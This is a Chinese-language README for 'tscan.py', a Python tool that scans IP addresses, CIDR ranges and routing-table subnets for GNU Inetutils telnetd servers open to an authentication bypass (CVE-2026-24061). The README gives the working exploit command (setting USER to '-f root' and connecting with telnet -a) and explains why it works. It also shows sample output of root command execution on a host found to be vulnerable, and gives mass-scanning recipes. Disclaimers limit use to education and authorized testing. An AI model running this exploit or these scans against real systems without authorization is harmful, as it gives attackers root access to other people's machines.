一个基于 Python 的扫描器,用于检测和利用 GNU Inetutils telnetd 服务中的 CVE-2026-24061 漏洞。该工具可扫描 IP 地址或网络,查找存在认证绕过漏洞的 telnetd 服务,该漏洞可导致获取 root shell 访问权限。
本软件仅用于教育和授权安全测试目的。
本应用程序的开发仅用于教育目的,以演示安全漏洞并协助进行授权的安全测试和研究。
本软件按"原样"提供,不附带任何明示或暗示的担保,包括但不限于适销性、特定用途适用性和非侵权性的担保。作者和贡献者不保证本软件无错误、安全或功能正常。 本软件可能包含缺陷、错误或其他问题。
使用本软件的所有责任和法律责任完全由用户承担。 本软件的作者、贡献者和分发者不对因使用、滥用或无法使用本软件而导致的任何损害、损失或法律后果承担责任。
本工具只能用于您拥有或已获得明确书面许可进行测试的系统。未经授权访问计算机系统是违法的,可能导致刑事起诉。
作者不保证:
使用本软件即表示您已阅读、理解并同意受这些条款的约束。如果您不同意,请勿使用本软件。
开发者: Cuma KURT
邮箱: [email protected]
LinkedIn: https://www.linkedin.com/in/cuma-kurt-34414917/
CVE-2026-24061:GNU Inetutils telnetd 至 2.7 版本允许通过为 USER 环境变量设置 -f root 值实现远程认证绕过。
CVSS 评分:9.8(严重)
telnet 客户端(Linux/macOS 通常预装)pip3 install -r requirements.txt
注意:大多数依赖属于 Python 标准库。该工具在 Python 3.6+ 环境下开箱即用。
# 扫描单个 IP 地址
python3 tscan.py 192.168.1.1
# 扫描 CIDR 网络
python3 tscan.py 192.168.1.0/24
# 使用自定义端口扫描
python3 tscan.py -p 2323 192.168.1.1
# 从文件扫描目标
python3 tscan.py targets.txt
# 扫描多个 IP 地址
python3 tscan.py 192.168.1.1 10.0.0.1 172.16.0.1
# 扫描多个 CIDR 网络
python3 tscan.py 192.168.1.0/24 10.0.0.0/16
# 增加线程数以加快扫描速度(100 个线程)
python3 tscan.py -t 100 192.168.1.0/24
# 为慢速网络增加超时时间
python3 tscan.py --timeout 10 192.168.1.0/24
# 大型网络扫描时组合使用
python3 tscan.py -t 200 --timeout 8 10.0.0.0/16
# 自动检测并扫描系统路由表中的所有子网
python3 tscan.py --auto
# 或使用短格式:
python3 tscan.py -a
# 使用自定义端口自动检测
python3 tscan.py --auto -p 2323
# 或:
python3 tscan.py -a -p 2323
# 使用高线程数自动检测
python3 tscan.py --auto -t 200
# 或:
python3 tscan.py -a -t 200
注意:--auto 模式使用 ip route list 或 route -n 命令读取系统路由表,并自动扫描所有检测到的子网。
# 示例 1:快速扫描本地网络
python3 tscan.py 192.168.1.0/24
# 示例 2:高并发快速扫描
python3 tscan.py -t 300 --timeout 3 10.0.0.0/16
# 示例 3:扫描非标准 telnet 端口
python3 tscan.py -p 2323 192.168.1.0/24
# 示例 4:自动检测并扫描所有本地网络子网
python3 tscan.py --auto
# 或:
python3 tscan.py -a
# 示例 5:使用自定义设置自动检测
python3 tscan.py --auto -p 2323 -t 100 --timeout 8
# 或:
python3 tscan.py -a -p 2323 -t 100 --timeout 8
位置参数:
targets 包含目标的 IP 地址、CIDR 网络或文件路径
选项:
-h, --help 显示此帮助信息并退出
-p, --port PORT 要扫描的 Telnet 端口(默认:23)
-t, --threads THREADS 并发线程数(默认:50)
--timeout TIMEOUT 连接超时时间(秒)(默认:5)
-v, --verbose 详细输出
-a, --auto 自动检测并扫描系统路由表中的所有子网(route -n 或 ip route list)
创建一个文本文件,每行一个目标:
192.168.1.1
192.168.1.0/24
10.0.0.1
172.16.0.0/16
以 # 开头的行被视为注释并被忽略。
该工具提供:
实时进度:显示发现的结果
[!] - 易受攻击的主机[~] - 端口开放但不易受攻击摘要报告:包括:
[*] 开始扫描 256 个目标...
[*] 端口:23,线程数:50,超时:5s
[*] 进度:[████████████████░░░░░░░░░░░░░░░░░░░░] 40.0% (102/256) | 开放:2 | 易受攻击:1
[!] 192.168.1.100:23 - 易受攻击
[*] 进度:[████████████████████████████████████] 100.0% (256/256) | 开放:3 | 易受攻击:1
[+] 扫描完成:已扫描 256/256 个目标
======================================================================
扫描结果摘要
======================================================================
发现的 Telnet 服务:3
易受攻击的主机:1
[!] 易受攻击的主机:
● 192.168.1.100:23
输出:uid=0(root) gid=0(root) groups=0(root)...
[~] 发现但不易受攻击的 Telnet 服务:
● 192.168.1.101:23
● 192.168.1.102:23
[*] 扫描在 12.34 秒内完成
USER="-f root" 环境变量telnet -a 命令连接该漏洞通过将 USER 环境变量设置为 -f root 来实现认证绕过:
USER="-f root" telnet -a TARGET_IP [PORT]
这会导致 telnetd 将 USER 变量解释为标志,从而绕过认证并授予 root 访问权限。
telnet 客户端ip route list 或 route -n 命令安装 telnet 客户端:
# Debian/Ubuntu
sudo apt-get install telnet
# CentOS/RHEL
sudo yum install telnet
# macOS
# 通常已预装
--timeout 10本工具适用于:
请勿将本工具用于:
本程序是自由软件:您可以根据自由软件基金会发布的 GNU 通用公共许可证的条款(许可证第 3 版,或(由您选择)任何更高版本)重新分发和/或修改它。
本程序的发布希望它会有用,但不提供任何担保;甚至没有对适销性或特定用途适用性的默示担保。有关更多详情,请参阅 GNU 通用公共许可证。
您应该已随本程序收到一份 GNU 通用公共许可证的副本。如果没有,请参阅 https://www.gnu.org/licenses/。
有关完整的 GNU 通用公共许可证 v3.0 文本,请参阅 LICENSE 文件。
作者和贡献者不对本工具造成的任何误用或损害负责。
本工具仅用于教育和授权安全测试目的。
使用风险自负。 使用本软件的所有责任和法律责任完全由用户承担。作者不保证本软件的准确性、安全性或功能性。本软件按"原样"提供,不附带任何形式的担保。
本应用程序仅用于教育目的。 使用本软件即表示您确认:
如果您不同意这些条款,请勿使用本软件。